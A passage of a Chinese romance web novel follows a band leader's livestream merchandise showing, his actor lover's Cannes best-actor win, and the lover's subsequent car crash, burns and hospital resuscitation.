尧新雪的嘴唇很柔软,舌头更软,为了不碰到他的舌钉,宋燃犀总是小心翼翼,即使那里已经不存在创口。 宋燃犀舔过尧新雪的上颚后,感觉到尧新雪身体本能地微微颤抖,于是变本加厉地加深,不断重复,津液与唇舌交缠。 亲吻其实是一场进食。 尧新雪的体温偏低,在宋燃犀的手下终于缓缓升高。 宋燃犀把他抱到床上,然后调高了空调,低着头继续吻他。 宋燃犀的手伸进尧新雪的衣服下摆,开始肆无忌惮地抚摸过他的小腹与肋骨。 那个尧新雪送给他的、刻着他名字的项链落在了尧新雪的胸口前,一半冰凉,一半有着两人的体温。 宋燃犀捞起尧新雪的一条腿让他搭上自己的腰,然后俯下身去。 他低头想要亲吻尧新雪时,尧新雪攥住了他的头发。 他的五指收紧,逼宋燃犀因为痛意不得不将头低得更下。这样由尧新雪主导,两人才交换了一个吻。 尧新雪低声道:“你是我的。” 宋燃犀在听到这句话时先是不可置信地睁大了眼睛,然后缓缓地提起了自己的嘴角。 他的手扶着尧新雪的腰,然后愉快地重复:“我是你的。” “所以只有我能决定你死在哪里。”尧新雪依然没有松手,他的眼尾有些红,嘴角挑起。 “是。”宋燃犀没忍住笑了。 他以为尧新雪还在想着那个老奶奶说的“血光之灾”,因此听到这句话心里是很柔软。 “不用怕。”宋燃犀在他耳边低声道,“我不会离开你。” 等两人厮混后终于睡下,已经接近凌晨四点,尧新雪半张脸埋在被子里,看起来安静又乖顺,只有颈间和露出的一小节肩膀上的咬痕昭示着几个小时前他们干了什么。 尧新雪久违地做了一个梦。 他第一次梦回了孤儿院。 那天是个特别的日子,孩子们被老师们带着特地换了一套干净整洁的衣服。 老师告诉他们,有领养人来了,要表现得好一点。 孩子们排着队站成了两排,不时兴奋地交头接耳。他们叽叽喳喳地讨论着:“太好了!能离开这里!” “谁会被带走,听说是个很有钱的人!” “隔了这么久,终于又有领养人来了,上次23号走了之后居然到现在都没回来看看我们,我都教他怎么跟大人撒娇了!” …… 孩子们叽叽喳喳地讨论着,平日阴沉的面庞难得露出了欢喜的样子,谁都希望着自己是会被带走的那一个——去一个温暖的、充满了爱的家,而不是一直留在这个破烂的、寒冷的慈济孤儿院。 小小的尧新雪也站在了第一排,当门打开的时候,他侧过头先是看到了身材高大的男人,然后才是跟在他身后的瘦小的女人。 院长迟桉面无表情,却对身后的女人态度恭敬。 那个女人衣着简单,却是一眼就能看出来这身衣服的价格不菲。 她的气质温婉,容貌漂亮,眼睛却红肿得几近异常。 她微笑着,从左往右,依次和孩子们轻声地打着招呼。 女人最后站在了尧新雪的面前,眼睛里是能溢出水的怜惜。她伸出手,轻轻地用手背蹭着尧新雪的脸,说:“多漂亮的孩子啊。” 小小的尧新雪同样温柔地笑了,眼神充满了期待,仰着脸,微微笑着。 然而女人只是深深地看了他一眼,然后抿着唇,慢慢地走向了下一个孩子。 第74章 指针音乐被收购之后,黑羊的事基本由尧新雪全权安排,包括行程、场地、各人员的调配等等。 薛仰春对尧新雪的崇拜立刻升华成了彻彻底底的仰慕,她坚信没有人能在这么短的时间内就将这么多人这么多事安排得井井有条。 总之就是四个字:队长!!吓人!! 黑羊亚巡路上她没少录VLOG也没少开直播,十分钟的VLOG里有七分钟是叽叽喳喳大喊队长,你在哪!!刚开直播的那会就会有不少人嚷嚷着要看队长。 尧新雪正在拆几箱快递,薛仰春拿着相机大大咧咧地将镜头对准他,然后在注意到箱子上黑羊的LOGO之后又猛地把镜头一晃晃到别的地方去。 她自己则凑着个脑袋来看,小声嘀咕道:“这是啥呀,能拍吗?” 网友发出了狂嚎。 【不是,为啥不让看!!!】 【嘿嘿看到雪穿私服了,好帅好美。】 【雪拿裁纸刀的样子像温柔的杀人凶手,嘿嘿我要被杀!!】 【这是什么这是什么?小傻春一点都不知道我们能听见!】 薛仰春的直播间弹幕乱飞,偏偏没人在意,网友们就什么虎狼之词就都张嘴就来。 “是我们乐队的T恤,还有一些小周边。小橙的吉他琴颈不是坏了吗,我给他买了一把新的。”尧新雪看到她举着摄像机,也没在意,反而笑了笑说,“可以拍,顺便宣传一下。” “什么!尧新橙有礼物!!他也太幸福了吧,我也要!!!”薛仰春仰天一长嚎,又开始原地撒娇。 “给你买了新的鼓棒,罗槐也有拨片。”尧新雪笑着拿出两个小型的快递。 薛仰春尖叫一声,然后把相机摆到了一边去拆自己的礼物了。 听着声音自娱自乐的网友们依然活跃。 【“顺便宣传一下”这句仿佛已经看见雪笑眯眯地拎着小春的脖子让小春过来录像了啊!这个物尽其用的队长!!】 【什么小周边我要我要要这个要这个!!】 【新雪给每个人都买了礼物,是对孩子一碗水端平的好妈妈呀!】 尧新雪接过了她的相机,因为第一次玩,所以其实并不清楚应该怎么使用。 尧新雪是个不怎么接触互联网的人,他生活的重心基本都在音乐和睡觉上,拿着相机,伸到了自己面前时,没想到就直接入镜了。 他的脸漂亮得无可挑剔,即使被无限放大,也依然找不到任何瑕疵,皮肤白得几近反光,长睫毛让那双狭长的眼睛更显妩媚。 尧新雪看到疯狂刷过的弹幕,也很快反应了过来自己靠太近了,于是举高了一点,笑着说了声:“抱歉,我第一次玩。” 【我草,雪高清无P怼脸直拍谁懂我有多爽!!】 【哇咔咔早已在刚刚截了一百张照片,雪宝真的是三百六十五度无死角的好看啊!!】 【妈呀这个长睫毛这么完美的唇形和鼻梁是真实存在的吗!这种死亡角度都能拍得跟天使似的我真跪下了……】 【我本来是歌迷现在跪下当颜粉了,一不留神舌头舔上手机了啊啊啊!!】 【什么东西流了下来,低头一看原来是我的泪水和口水……】 【无敌了偏偏我们主唱不靠脸吃饭(骄傲挺胸.jpg)】 【拜托了新专什么的一定要端上来宝宝你们不可以只巡演!】 【到底谁抢到票了,所以三专啥时候出!!】 【抱歉……有什么东西蛇出来了……黑羊多播点这个这样我才能身心健康!】 【楼上……?】 …… 弹幕刷得太快,尧新雪挑了几条回复:“三专已经在做了,有几首歌和我想象的样子有些出入,需要再琢磨一下,大概下半年才能发了,在亚巡最后的几场里会公开哦。” “售票问题的话,在最后几个城市里我会尽量争取大一点的场地,到时候大家可不能不来哦。”他笑了,眼睛里满是狡黠的笑意,唇微微挑起一个可爱的弧度。 【啊啊啊啊啊我买我买我买!!我一定不辜负组织期待!!】 【从现在开始我将训练自己的手速!!】 【又能看现场又能第一时间听三专这么幸福那真的非卖不可了!!!】 【谁敢不买??谁敢不买??】 薛仰春拆到了她的鼓棒,正欢呼着,看到同样在狂欢的弹幕,忍不住感慨:让尧新雪出镜,直播间的人气可涨得太快了。 薛仰春接过了相机,将镜头对准了尧新雪。 尧新雪则从箱子里拿出一双黑色的手套,拆开那些周边一一展示。 “这是印有黑羊LOGO的T恤,LOGO是小春和小橙一起画的。”尧新雪拆出两件T恤,“有黑色,白色。” 【黑手套,好色……】 【跟手腕的白对比得太明显了,我的哈喇子又控制不住了!】 【喂喂我的注意力全在雪的手上了,虽然两件T恤很好看但是我的幻肢有点事。】 【我们黑羊!!!两个色都好好看我要买!!主播穿上看看呀主播。】 【对啊对啊主播穿上试试看嘛。】 尧新雪笑了,脾气很好地说:“那就换上看看吧,刚好这件的尺码合适。” 他拎着衣服走到了衣帽间,薛仰春适时地将镜头转了回来。 她拿着鼓棒示威地怼向镜头,眉毛一扬:“别以为我不知道你们是想看什么,那是不可能的!一直播间不能封,二我们队长可不能随便给你们看他赤果的上半身!我来守护我们队长!!!” 【没有呀没有呀我们只是看看衣服穿上是什么效果(抹抹口水.jpg)】 【又被你看穿了,都是自己人不用躲不用藏!】 【我都准备好录屏了(大哭.jpg)我还以为天真的小雪真的会就这样当着大家的面换呢!】 “你们想都别想!”薛仰春哼一声。 “想什么?”尧新雪换了件黑色的T恤,用手里的发圈将长发绑了起来。 【想你了宝宝。】 【你们中间有两个人很漂亮,姐姐妹妹呀。】 【好好看我立刻种草了三二一上链接!】 “这是穿上的效果,大家如果感兴趣的话可以后续关注我们的官网。”尧新雪公事公办,对夸他的一概视而不见,继续去拿箱子里的周边。 “这是乐队成员的玩偶,有28、30和43CM的,”尧新雪拎起一只蓝色的玩偶,举高亮在镜头前,“嗯,还挺沉的。” 他将几个成员的玩偶在后面的桌子上排成了一排,手指依次指着:“橙、槐、春、我。” 【中译中:弟弟,朋友,妹妹,妈妈。】 【妈妈妈妈妈妈我全都要!】 【哎哟豆豆眼好萌!感觉一口一个!】 “然后这些是挂件、小卡……”尧新雪拿着挂件,将自己的手掌挡在后面,让镜头对焦在挂件上。 【手指好长……感觉香香?!】 【怎么感觉连手套的褶皱都是色的,我疯了吗?】 【好萌的小挂件,闭眼入!!】 就这样,网友各顾各的,尧新雪也睁一只眼闭一只眼地回复评论,这次的周边展示终于结束了。 尧新雪不着痕迹地松了口气,像是不那么擅长面对这么直白的言论,于是看着弹幕的眼神都有些无奈。 然而他的眼睛总是有着含情般的温柔,因此弹幕看着更是有些控制不住。 【宝宝转过去,有点疼是正常的。】 【就是因为他这样看着我所以我才这么快的。】 【?你这样我真的要犯罪了。】 【宝宝你再看我一眼,马上了马上了。】 【宝宝你要被吓哭了吗到我怀里来,他们都是坏人。】 【嘿嘿小雪的眼泪……我舔。】 …… 尧新雪是真的有些无奈了,他一手盖住摄像头,然后将飞快刷过的弹幕转向薛仰春看不到的方向,又转头问一脸看戏中的薛仰春:“你平时直播他们都这样吗?” “额,其实,怎么说呢……”薛仰春眼神飘忽,她想说其实只有尧新雪出现这群网友才会这么放肆,但是看着尧新雪这副隐隐有些担心的样子又有些说不出口,只能含混地说,“也没有吧!” “反正队长你出门在外注意安全!”薛仰春用坚定的眼神大喊道。 “那你以后不要直播了,少上网多打鼓。”尧新雪低声说。 薛仰春圆圆的眼睛瞪得更圆,但是又说不出任何反驳的话,只涨红了脸,尴尬地咳了两声。 只有网友们在寂静地疯狂。 【?????】 【????????】 【妈妈不要抛弃我。】 【妈妈我错了下次还来。】 【我笑喷了少上网多打鼓。】 【事业批好文明,队长好文明。】 【原来雪平时真的一点不上网啊我们这种言论在他围脖评论区还少吗!(对手指.jpg)】 …… 尧新雪也没在乎他们听没听到,只是依然保持着微笑,把镜头掰回来之后,用另一只手摆了摆示意再见:“那今天就这样吧,谢谢大家,后续想要了解的可以去我们的官网看。” 他瞥了眼旁边心虚的薛仰春,然后继续对着镜头继续叮嘱:“对我可以说这些,但是不可以对小春说,不能带坏她,她还是个小孩。” 【我知道了一直只对你说。】 【好的宝宝,小春妹妹由我来守护,你由我来***】 【真的吗那我演都不演了,雪雪我要***你】 …… 尧新雪果断地关掉了直播,然后把手机还给了薛仰春,顺便弹了下薛仰春的脑门。 同一时刻,尧新雪直播的消息迅速地登上了热搜。 在前五都是尧新雪的话题之后,第六条同样吸引了无数人的注意。 #宋燃犀第三次提名戛纳影帝#。 第75章 从《错轨》杀青之后,许弋喝得满头大汗,按着宋燃犀的肩苦大深仇地望着宋燃犀时,宋燃犀就隐隐有一种预感。 “有屁快放。”宋燃犀挑起眉。 “我许弋,拍电影就是为了拿最佳导演最佳编剧最佳男主角最佳女主角……”许弋大着舌头说,他醉醺醺地一指宋燃犀,“当初我一穷二白,开着叮当车去巴黎,你说我是疯子,你没拿到最佳男主角。这次我会让全世界都知道,你就是。” 宋燃犀其实也有些醉了,他看着许弋痞里痞气地一笑:“你喜欢说大话。”然后他拿起旁边的酒瓶将里面的酒一饮而尽,“不过我信你。” 两人从《罪爱》拍摄开始就是死党。 宋燃犀对朋友向来阔绰,哪怕自己当初也没比许弋多半个子,都能把全部积蓄掏出来给许弋拍电影,给许弋当路费——这其中三分是他重情重义,不想看着许弋这种疯癫艺术家死在半路,七分是他骨子里也是个爱幻想、渴望成功的人,其实真的希望许弋说的能够实现。 演员演员,归根到底就是拿作品说话,他就是想要堂堂正正地告诉全世界——宋燃犀并不是离了宋家就什么都不是的废物,他只要想做什么,就能做到什么。 许弋脑门一拍,快门一踩,就说我要去巴黎,我要去戛纳。 彼时宋燃犀过过穷得一天只能吃一碗泡面的日子,自然也不会再朝着全世界嚷嚷这样的傻话。然而他房间里堆得比山高的二手碟片与画满笔记的剧本都指向一个事实——他还没有低头,他就是要重回戛纳。 因此当宋燃犀看完《错轨》剪辑完的版本后,当全体工作人员都在影院灯光逐渐亮起时鼓掌,甚至有的人在潸然泪下时,他就已经在冥冥之中意识到了——也许这次能行。 宋氏集团的成功与拉段一宿下马不会给他带来这样大的成就感,只有看着台下的观众们为电影的情节流泪,他才能感觉到痛快——任何人都同理,乐队也希望乐迷能为他们的歌痛哭流涕。 《罪爱》拿下了当年戛纳的最佳导演、最佳编剧与最佳摄影,两位主角却遗憾错过了最佳演员,终究是宋燃犀的心病。 《错轨》是他铆足了劲的作品,终于当许弋第一百零八次提到,这次会拿最佳男演员的时候,宋燃犀说:“好。” 提名在意料之内,国内的媒体争相报道起了这个电影界一年一届的盛大节日。 有关于宋燃犀的评价更是各有各的花。 【第三次了,宋燃犀这次还会陪跑吗?】 【我真信他是真想演戏了而不是炒作了,这哥们平时都不咋在奢侈品或者注水的红毯上露面的。】 【不管能不能拿到,第一次拿下了最佳男主角,第二次提名,第三次提名,年纪轻轻走三次戛纳红毯已经够牛逼了,这是我几辈子达不到的成就啊!】 【这次华语影坛只有许弋这一部电影得到了提名,欧美提名的那几位都是巨佬啊,他们的作品质量有多牛我就不说了吧,我真不看好宋燃犀能拿奖。】 …… 应怜不敢看最终的结果,于是把家属的邀请函让给了宋洲,宋洲的病早已调理好得差不多,面上的喜悦虽然不显,但依然接了过来。 自从宋燃犀以一己之力挽救了宋氏集团,又成功收购了指针音乐之后,宋洲就已经彻底放宋燃犀爱干啥干啥了,虽然没有问为什么突然要做出“收购指针音乐”这种事,但用脚想也能想到不就是为了那个宋燃犀可以一脚踹烂柜门的“非他不可”的男人。 男人。 世界上最好看的男人。 宋洲年纪大了,想象不出来,但也实在不愿意再管儿子,于是假装慈祥地说:“你要不要带你那位去啊,生日宴我们都没看到他。是不是你讨不到他欢心?连这种场合他都不愿意陪你出席。” 差点没把自己儿子是废物说出来了。 宋燃犀听了气急败坏,刚想揪过那封邀请函结果被宋洲不动声色地按得死死的:“那您倒是给我啊,邀请函就这么一封。” “啧。”宋洲刚想松手,就看到宋燃犀挫败地摆了摆手,听到他哀叹一声。 “他忙着呢,不过回国之后我可以带你去见他。”宋燃犀看了眼手机,然后心满意足地说。 “好啊,那我也准备点礼物。”宋洲点点头。 半个月之后,戛纳电影节正式开幕。 这举世的盛会,所有人都将摄像机对准了红毯。 受邀前往的均是扬名世界的顶流明星,宋燃犀穿着定制的黑色西装,跨下了车。 他的这一身西装极其低调,设计的亮点在于西装外套的前面两侧裁剪有如燕尾,如同随时准备振翅而飞的海燕。 他身上仅有一件饰品,那就是那条刻有他名字的土星项链。 三年前宋燃犀穿着东拼西凑出来的一套礼服来到这里,被扒出来全是盗版的牌子,在菜市场卖不过一百,外国媒体嘲讽了宋燃犀整整一年,就连国内也多有谩骂——丢脸丢到国外去了。 如今他身着顶级品牌的定制,英俊的眉眼有着无法掩饰的挑衅意味,单手插在兜里时散漫地一笑。 长达百米的红毯,宋燃犀每一步都走得步履坚定。 疯狂的闪光灯铺天盖地地袭来,他却连眼睛都不眨。 有人高喊着“宋!”“宋!”,宋燃犀却只在那荣耀殿堂前的第一级台阶回了头——咔嚓、咔嚓,漫天的细雪恰恰在这一秒飞落下来,他回头看向了远处的某个方向,然后露出了一个温柔的笑容。 上一次他来到这里,没有获奖,但站在这里时,也是就这样远远地看了一眼,仿佛在给谁致意。 在那时没几个人恭喜他,没几个人期待他获奖,可宋燃犀的背依然挺得很直,依然眉眼桀骜。 《错轨》的主要班底合影之后,一起走进了场地之内。 今晚将公布最终的结果,这电影人最高级别的奖项——最终到底会花落谁家? 宋洲很紧张,说实话,他比知道宋氏出事时还紧张——他比宋燃犀更加在乎这份荣耀,他知道自己儿子为了来到这里,为了这个奖项付出了多少。 然而宋燃犀只是和许弋有一搭没一搭地聊着天,仿佛什么都不那么重要。 宋洲感觉自己的心脏病都要复发了,忙从衣袋里拿出了片药含下。 “您老别紧张,我心里有数。”宋燃犀勾了勾嘴角。 “你心里有什么数?我看你其实也没多在乎。”宋洲哼哼。 “我知道这次能拿。”宋燃犀懒洋洋地说。 “如果不能呢?你小子别太自信。”宋洲有些焦虑,但又不想表现出来,怕宋燃犀期待拉得太高到最后又很失望。 “这次不能,那就下次,下次不行,那就下下次,总之五年之内我一定会拿下最佳男演员。”宋燃犀笑了下。 他的语气难掩轻狂,宋洲听了也笑,揉了揉他的脑袋。 每一个奖项公开最终人选,观众的欢呼声都有如一击重重的鼓音。 砰。 砰。 砰。 每一击都重重地砸在宋燃犀的心脏上,看过这样多人的成功,很难不幻想自己也站在领奖台上的样子。他在这过程里,只紧紧地盯着颁奖人,很快也就把之前的故作轻松全都抛掉了。 “我们总听着一句话,电影是造梦的艺术。我和这位演员的导演是好朋友,我们曾经喝酒喝到天亮,在这期间我也听说了关于这位演员的故事。听说在拍一场水下的戏时,因为一些失误,刀刃从他手指的间隙生生落下,划出了从指尖到手背上的、长达8厘米的伤口。” “血漫在了蓝色的水中,直到最后导演喊卡,他回到岸上血流不止,我们才知道他受了伤。没有人注意到他所表现的是真实的疼痛还是表演出来的,只是在那一刻,连同与他共同演戏的演员也没有注意到他真的受伤了,所有在场的工作人员也没有注意到,所有人都全然沉浸在了他无与伦比的表演里。” “在那一刻,真实与幻梦的界限就已经模糊不清了。我们被带到了这一场巨大而瑰丽的梦境里。我们当然并不是在鼓励这种方式……毕竟,真的想想就感觉到痛。”颁奖人耸了耸肩,他风趣的表情将现场的人都逗笑。 只有宋燃犀的身体在微微颤抖,他也在笑,却又难以控制地用手去抹自己眼角的泪。 “他的眼睛总是能传达出角色的感情,甚至可以细腻到表情、语气,他以这样极其克制的方式来展示那无数复杂的感情。他还这样年轻,想必会是这里的常客吧。” “让我们恭喜这位戛纳影史上最年轻的影帝。” “宋燃犀。” 当那三个字落下,排山倒海的掌声蜂拥而来,无数摄影机发出了疯狂的快门声。 宋燃犀在全世界的注视下拥抱住了宋洲,然后又用力地和许弋击了一个掌,准备走上颁奖台。 他的嘴角完全控制不住,乃至走下楼梯时踉跄了一下。 观众们发出了善意的笑声。 在那一天,宋燃犀成为了戛纳影史上最年轻的影帝。 他的笑容是这样灿烂,仿佛在那一刻真的成为了世界之王。 在谢过父母与导演之后,宋燃犀的最后一句颁奖词献给了一个不知姓名的人,他高举着金色的奖杯笑着说:“这个奖项的获得,以及我在这一刻所感受到的全部快乐与幸福,全部归功于我的爱人。我希望能将这一切都献给你。谢谢。” 他最后没有念出爱人的姓名,只是用嘴型念出了:尧新雪。 第76章 “你看了吗?我拿奖了。”宋燃犀戴着蓝牙耳机,握着方向盘,扬起的嘴角没有放下过。 宋洲从后视镜里观察着自己儿子的表情,更是坚定了这小子已彻彻底底地坠入爱河了这个结论。 对面不知道说了什么,宋燃犀的眉毛一扬:“我开车来找你。” “嗯,今晚就到,我给你准备了惊喜……”宋燃犀握着方向盘的手指愉快地动了一下。 等电话挂断之后,宋燃犀才注意到自己的爹一脸看戏的表情。 从尧新雪说出“你是我的”这一句话开始,他们的关系似乎就有了某种变化。宋燃犀找尧新雪的频率越来越高,也越来越理所当然。 就像给宠物起名字的那一刻起,就意味着要对它负责了。 宋燃犀感到满心的快乐,恨不得现在插上翅膀飞到尧新雪的身边。 他瞥了宋洲一眼,宋洲正规规矩矩地坐在后排,旁边是一个包装精美的礼物盒。 宋燃犀也不在意宋洲八卦的眼神,镇定自若地打开了车的音响,放了黑羊的歌,边悠闲地问:“您给他买了什么礼物?” “你妈妈挑的一款表。”宋洲说。 应怜和他精心挑选了整整两天,希望能为儿子赢得一点好感。 宋洲还在表下面封了一个大红包,毕竟是见儿媳,仪式感还是很到位的。 父子俩的关系从来没有这样融洽过,也许是因为大病一场,也许是因为看到宋燃犀如今已经成就斐然,宋洲的态度温和不少。 宋洲早年一穷二白,之所以能有宋氏现在的地位都是靠自己拼来的,他熬了无数个夜,废了无数个策划案,最后用酒瓶子堆起来的一个宋氏集团。 他始终被人诟病为凤凰男的原因是爱上了清贵家族出身的应怜。即使宋洲在创业之路上不取应家一分一毫,娶到应怜就注定了他要被外界挂这个骂名一辈子。 他白手起家,所得的一切都是靠自己,因此宋洲对宋燃犀的教育也极为苛刻。当初宋燃犀闹着要演戏就断了他的全部生活费,父子俩一度闹得很僵。 如今却能坐在同一辆车上时不时地说笑。 宋燃犀在那一秒觉得,一切都是值得的。 他宋燃犀真是一个幸运、幸福的家伙啊,吃了这么多苦,熬了这么久,终于得偿所愿,取得了人生中最渴望得到的成就。然后,他将带着这份举世的荣誉,骄傲地挺着胸膛,带着自己的父亲去见喜欢的人。 宋燃犀在那一刻奇妙地共情了千年前那些得胜归来的将军,他紧紧攥着方向盘,毫不犹豫地踩着油门不断加速。 啊,尧新雪,尧新雪。 真想见到他,拥抱他,告诉他这终于来到的一切。 他们这两头狐狸从三年前就开始相互依偎,在窄小的浴室里交颈而吻,听着彼此有力的心跳,默许着必需成功的誓言。他们伤痕累累,苦苦等待了三年甚至是更长的时间。他们受到过无数的冷眼与嘲讽,最后终于踉跄着爬到了山顶。 眼前的高速公路在不断地往前延伸,辽阔的平原与呼啸的风,璀璨的阳光与干燥的空气,一切都这样声势浩大,整个世界仿佛都在迎接着这位年轻的胜利者,他带着满腔的喜悦与幸福不断地往前冲着,如同一匹快乐的小马。 砰————! 可眼前色彩斑斓绚烂的一切景色如同玻璃一瞬间被暴力震碎,气温一瞬间仿佛被猛地扭曲拔高,价值八位数的宾利如同孩童手里捏着的玩具被轻易地捏瘪,巨大的冲击力让宋燃犀猛地撞向了安全气囊,轰鸣声有如千万根针倾轧过他的耳膜。 他甚至来不及做任何反应,整个人在天旋地转间依然还保持着原来的姿势,牢牢地握着方向盘。仿佛听到了骨骼折断的声音,脏器在体内强行错位,喉咙本能地感到作呕,宋燃犀下意识地闭上了眼睛,他的心脏疯狂地跳动着,呼吸颤抖,滚烫的血淌满了他的双手。 宋燃犀在那一秒发出了痛苦的呻吟,他的头颅重重地砸落,撕裂般的疼痛从他的左眼与脸部传来。 他的身体因为突如其来的撞击已扭曲成了一个不可思议的弯度,整辆车翻转过来压在他的身上。 宋燃犀拼命地睁开眼,即使四肢百骸都传来有如截断、灼烧般的痛感,惊人的意志力却依然让他没有就这样昏迷过去。 他的喉咙发出了可怕的声音,那双被就在昨日仍然被称为细腻传神的眼睛如今右眼因为淌满了血只能紧闭,左眼球恐怖地凸起,不断地流下泪水。 宋燃犀紧紧地注视着宋洲的方向,忍着剧烈的疼痛想要爬向宋洲。 可是宋洲已经紧紧地闭上了眼睛。他如同一条死去的狗,头颅折到了一个扭曲的角度。 “啊……啊……” 宋燃犀疯狂地“啊”着,他说不出一个字,泪水不断地滑落过他的脸颊。 他注视着宋洲,如同彻头彻尾的疯子不断地嚎哭。 火开始从车尾燃烧过来。 炙热的火苗燃烧着他那精美的礼服,焚烧着他的皮肤,宋燃犀的身体神经质般不断地抽搐着,恐怖的大火仿佛一条长鞭反复鞭挞着他。 火焰燎上他的脖颈,燎上他那英俊的脸,痛苦与绝望如同一头巨大的怪物,将宋燃犀猛地吞食入腹。 什么都没有了。 什么都没有了。 这场酷刑仿佛永无止尽,可怖的痛苦几乎让宋燃犀咬碎自己的牙齿。 越是痛,他越是清醒。 他闻到血的味道,他闻到自己的皮肉被灼烧时发出的气味,他闻到柏油马路,他闻到车油,闻到车座皮革。 持续的警告声在他的耳侧鸣叫,宋燃犀开始失去触觉和视觉。 他在心里疯狂地惨叫着,尧新雪,尧新雪。 仿佛这三个字能带给他无限的勇气。 可是宋燃犀太痛了,他在撕心裂肺的痛意里、在无限的绝望与黑暗里得不到一丝回应。 宋燃犀几乎要在这样的痛楚里生出可怕的怨恨来,风刮过来,火肆无忌惮地如同车轮滚碾过来,他每呼吸一次,就要绝望地、恐惧地、丑陋地恳求着念一次这个名字。 尧新雪。 尧新雪。 救救我。救救我。 他终于在最后彻底失去了意识。 11月1日,302国道发生了一场举世震惊的车祸。 救护车闪着□□飞速开往事发现场,无数媒体蜂拥而至,举着相机争相拍下眼前的一幕。 宋洲的尸体被覆上白布,宋燃犀则半身严重烧伤,被抬上了直升飞机,生死未卜。 无数摄影机前,媒体严肃地报道:“监控显示,一辆货车突然从旁边车道开出,直接撞向了宋燃犀所开的车辆,车后座的宋洲当场死亡,宋燃犀身受重伤。司机疑似疲劳驾驶,后续……” 无数人坐在电视机前,心脏高高悬起,他们在感到惊心动魄的同时也开始对宋燃犀跌宕的命运感到扼腕叹息。 命运似乎对他过于残忍,在赐予他一些之后又毫不犹豫地将这些全部夺走。 他得到了一切,然后又失去了一切。 镜头之后,无数双脚踩在了那渗着血迹的马路上。 没有人注意到,地上有一枚闪着光的戒指。 它被无数双鞋碾在地上,原本精美的戒圈变得肮脏发黑,上面刻着四个字母:Snow。 第77章 “CPR开始,1,2,3,4……” “血氧88%,呼吸每分35次……” “喉管插好了,EtCO2confirmed!” “他的心脏有过开刀史,暂停所有输液!除颤仪准备!” …… 滴,滴,滴,滴。 心电监护发出了连续的警告,惨败的灯光下,医生的手套沾满了药液与血,无菌纱布盖过焦黑的创面,覆盖过他鲜红的肌肉肌理,呼吸面罩下,他那几近微弱的呼吸只轻轻地呼出些许白雾。 宋燃犀的意识模糊,他仿佛整个人都被沉在了深海里。 在无止尽的冰冷、疼痛与黑暗里,这种感觉竟然与童年时代微妙地重合。 他做了一个很长很长的梦。 在很小的时候,他因为家族遗传的心脏病问题,身体赢弱。宋燃犀几乎跑不得,受不得一点凉。 应怜和宋洲几乎把他当成了瓷娃娃,捧在手里怕摔了,含在嘴里怕化了。他在所有人的保护和注视之下有惊无险地活到了六岁,然而死神仍然没有打算就这样轻易地放过他。 换季与暴雨夜会让他痛不欲生,会引发一系列并发症。家里的佣人都用怜悯的眼神看着他,他知道这些人总在背地里说:“小少爷快死了,这么小的孩子,多可怜啊。” 有一天,小小的宋燃犀晕倒在了花园里,然后开始了长达五天的高烧不退。发烧让他的意识模糊,只能听到应怜的哭声,那时他用尾指轻轻地勾着应怜的手,沙哑地、笨拙地安慰道:“妈妈,不要哭。” 所有人都以为他要死了,所有人都以为死亡的阴霾将笼罩在这个如此幸福,条件如此优越的家庭上。 那一周风雨如晦,可就像雨后的彩虹一样,奇迹居然真的降临在了宋燃犀身上。 八天之后,宋燃犀的体温终于降下,甚至一直以来因为心脏问题牵动的并发症都在逐渐好转。 他对此没有任何记忆,只是心口的位置多了一条缝合的疤痕。 宋燃犀因为母亲的眼泪跨过了六岁的那场大劫。 之后每年的六月七日,应怜都会带着他去佛堂拜谢。 随着长大,宋燃犀因为备受宠爱越发嚣张跋扈。他梦回到了阳光明媚的加州,那时他十三岁,在海边冲浪。 一个名不经传的导演对他发出了邀请——为什么你不来试试电影呢? 宋燃犀从水里冒出来,像小狗一样甩了甩,眼睛湿漉漉的:“好啊。” 彼时宋燃犀骄傲得不可一世,傲慢的同时不失教养。在精明商人宋洲的培养下,他同样能力出众,让人大跌眼镜的却是,这个天之骄子竟然迷恋上了表演。 他在那年拿下了戛纳的最佳男演员,这在之后也成为了他的心心念念。 宋洲对他的演员梦持反对态度,应怜认为演戏对他的身体负荷很大。 十八岁,宋燃犀离家出走了。 他梦到了租房,二手碟片与霉得发黑的墙。他梦到扒手,骂骂咧咧的房东与臭水沟。他梦到漏水的天花板,垃圾场与第九十封拒信。 最后的最后,宋燃犀梦到了尧新雪。 在肮脏窄小、散发着臭味的出租屋里,尧新雪出现了。 时间仿佛静止了,一切都停留在了那一刻。 周围光怪陆离的景象全部都化成了一条白灼灼的一条窄路,一条苦路。 然后宋燃犀在这条道路的尽头,看到了尧新雪。 如同初见那样,尧新雪干净而美好。 朦胧的月光如同一层薄雾笼在他的身上,宋燃犀几近虔诚地吻着尧新雪的长发,吻着尧新雪的嘴唇,听着他说:“你是我的。” 尧新雪那温柔美好的笑容与笃定的语气都让宋燃犀感到恍如昨日,他总是在想,世界上一定没有比这更动人的情话了。 尧新雪那如瀑的长发垂落下水面,水面泛起一圈又一圈的涟漪。 水中那轮皎洁无瑕的月亮轻轻地荡碎了。 长达九个小时的抢救,医生们终于将宋燃犀从死神的镰刀下抢了回来。 他的右半张脸几近毁容,半边的头颅都被裹上了纱布。因为身体重度烧伤,他的身上也缠满了绷带。 五天之后,宋燃犀终于醒了过来。 他注视着母亲应怜红肿的眼睛,说不了任何话。 他知道父亲宋洲已经死了,这是他亲眼看到的。 应怜的眼泪大滴大滴地落下来:“小犀,你醒了,太好了,没事了,都没事了。” “很快就都会好起来的。”她努力地擦着自己眼角的眼泪,像仅仅只是在安慰自己。仅仅是几天之内,她就老了很多,仿佛整个人都瘪了下去,不再光鲜亮丽。 这个自小就被宠爱着长大的女人面临着丈夫死去、儿子毁容,终于彻底崩溃了。 她的头发一夜之间全部变白了。 “我去叫医生来,妈妈会陪着你的。”应怜轻声说,她慢慢地走出病房,无神的双眼饱含着痛苦与悔恨。 宋燃犀只听到她走到门口时那啜泣般的声音:“是我的报应,是我的报应。” 听着应怜这样自责的话,宋燃犀另外一只完好的眼睛又一次流下了泪水。 一个月后,宋燃犀终于能开口说话了,他转出了重症病房,应怜也早已经瘦了一大圈,已经因为过度伤心和疲惫晕倒了好几次。 过去的一个月里,他们母子终日对望,却对彼此的痛苦都束手无措。 “妈,回去休息吧。”宋燃犀开口说了第一句话。他的声音沙哑而难听,与之前判若两人。 应怜听到他的声音,忍不住又捂着脸哭,她的眼泪快要流干了。应怜又在他身边坐了很久,努力地讲了好些其他小事,这才走了出去。 她已经太久没有休息过了,接二连三的事压在她身上,她却又不想让宋燃犀担心。 应怜在走进电梯时,几乎要昏晕过去,却有一只手及时地从旁边伸出拉住了她。 “女士,请小心。”那个人说。 